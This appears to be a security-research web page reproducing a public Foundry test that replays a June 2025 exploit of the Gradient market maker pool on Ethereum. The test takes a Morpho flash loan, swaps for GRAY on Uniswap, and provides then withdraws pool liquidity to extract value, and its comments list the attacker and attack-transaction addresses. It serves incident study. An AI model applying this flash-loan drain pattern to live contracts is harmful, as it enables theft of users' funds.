Public reproduction file
src/test/2025-06/GradientMakerPool_exp.sol
Public reproduction file for dataset entry GradientMakerPool.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 5k USD8// Attacker : https://etherscan.io/address/0x1234567a98230550894bf93e2346a8bc5c3b36e39// Attack Contract : https://etherscan.io/address/0xcb4059bb021f4cf9d90267b7961125210cedb79210// Vulnerable Contract : https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC11// Attack Tx : https://etherscan.io/tx/0xb5cfa3f86ce9506e2364475dc43c44de444b079d4752edbffcdad7d1654b1f6713// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC#code16// @Analysis17// Post-mortem : https://t.me/defimon_alerts/134018// Twitter Guy : N/A19// Hacking God : N/A20pragma solidity ^0.8.0;22contract GradientPool is BaseTestWithBalanceLog {24 // State variables25 uint256 private constant blocknumToForkFrom = 22765113; // blocknumToForkFrom - 126 uint256 private constant BORROW_AMOUNT = 3 ether; // 3e18 wei (3000000000000000000)27 uint256 private constant WETH_WITHDRAW_AMOUNT = 1 ether;28 uint256 private constant SWAP_AMOUNT_OUT = 1000 ether; // 1000e1829 uint256 private constant SWAP_AMOUNT_IN_MAX = 1000 ether; // 1000e1830 uint256 private constant LIQUIDITY_AMOUNT = 950 ether; // 950e1831 uint256 private constant WITHDRAW_SHARES = 10000;32 uint256 private constant WETH_DEPOSIT_AMOUNT = 4.010899131704627093 ether; // Precise wei value33 uint256 private constant DEADLINE = 1750657343;35 IGradientMarketMakerPool gradientPool = IGradientMarketMakerPool(0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC);36 IMorphoBuleFlashLoan morphoBlue = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);37 IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));38 IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));39 IERC20 gray = IERC20(0xa776A95223C500E81Cb0937B291140fF550ac3E4);43 function setUp() public {44 vm.createSelectFork("mainnet", blocknumToForkFrom);45 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit46 fundingToken = address(weth);47 }49 function testExploit() public balanceLog {50 //implement exploit code here51 morphoBlue.flashLoan(address(weth), BORROW_AMOUNT, "");52 }54 function onMorphoFlashLoan(uint256 amount, bytes calldata /* data */) external {55 // Approve Morpho for repayment56 weth.approve(address(morphoBlue), BORROW_AMOUNT);58 // Withdraw WETH to ETH59 weth.withdraw(WETH_WITHDRAW_AMOUNT);61 // Approve Uniswap router for WETH62 weth.approve(address(router), WETH_WITHDRAW_AMOUNT);64 // Swap WETH for GRAY on Uniswap65 address[] memory path = new address[](2);66 path[0] = address(weth);67 path[1] = address(gray);68 router.swapTokensForExactTokens(69 SWAP_AMOUNT_OUT,70 SWAP_AMOUNT_IN_MAX,71 path,72 address(this),73 DEADLINE74 );77 // Approve GradientPool for GRAY78 gray.approve(address(gradientPool), type(uint256).max);80 // Provide liquidity to GradientPool with ETH81 uint256 ethAmount = 632090074270700494;82 gradientPool.provideLiquidity{value: ethAmount}(address(gray), LIQUIDITY_AMOUNT, 0);85 // Withdraw liquidity86 gradientPool.withdrawLiquidity(address(gray), WITHDRAW_SHARES);89 // Deposit ETH back to WETH for repayment90 weth.deposit{value: WETH_DEPOSIT_AMOUNT}();92 }94 // Fallback to receive ETH from WETH withdraw95 receive() external payable {}96}99interface IGradientMarketMakerPool {100 function provideLiquidity(101 address token,102 uint256 tokenAmount,103 uint256 minTokenAmount104 ) external payable;106 function withdrawLiquidity(107 address token,108 uint256 shares109 ) external;110}Analysis
Dataset entry
Public Foundry test for “GradientMakerPool” (2025-06-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x1234567a98230550894bf93e2346a8bc5c3b36e3
- Attack Contract
0xcb4059bb021f4cf9d90267b7961125210cedb792
- Vulnerable Contract
0x37ea5f691bce8459c66ffceeb9cf34ffa32fdadc
- Attack Tx
0xb5cfa3f86ce9506e2364475dc43c44de444b079d4752edbffcdad7d1654b1f67
- Post: https://t.me/defimon_alerts/1340
- Explorer: https://etherscan.io/address/0x1234567a98230550894bf93e2346a8bc5c3b36e3
- Explorer: https://etherscan.io/address/0xcb4059bb021f4cf9d90267b7961125210cedb792
- Explorer: https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC
- Explorer: https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC#code
File record
- Name
- GradientMakerPool
- Path
- src/test/2025-06/GradientMakerPool_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4c7ae60b37ae05e420cb22db14cd3aa15e3e2168
- Language
- Solidity
- Size
- 113 lines
- Date
- 2025-06-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/GradientMakerPool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4c7ae60b37ae05e420cb22db14cd3aa15e3e2168, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.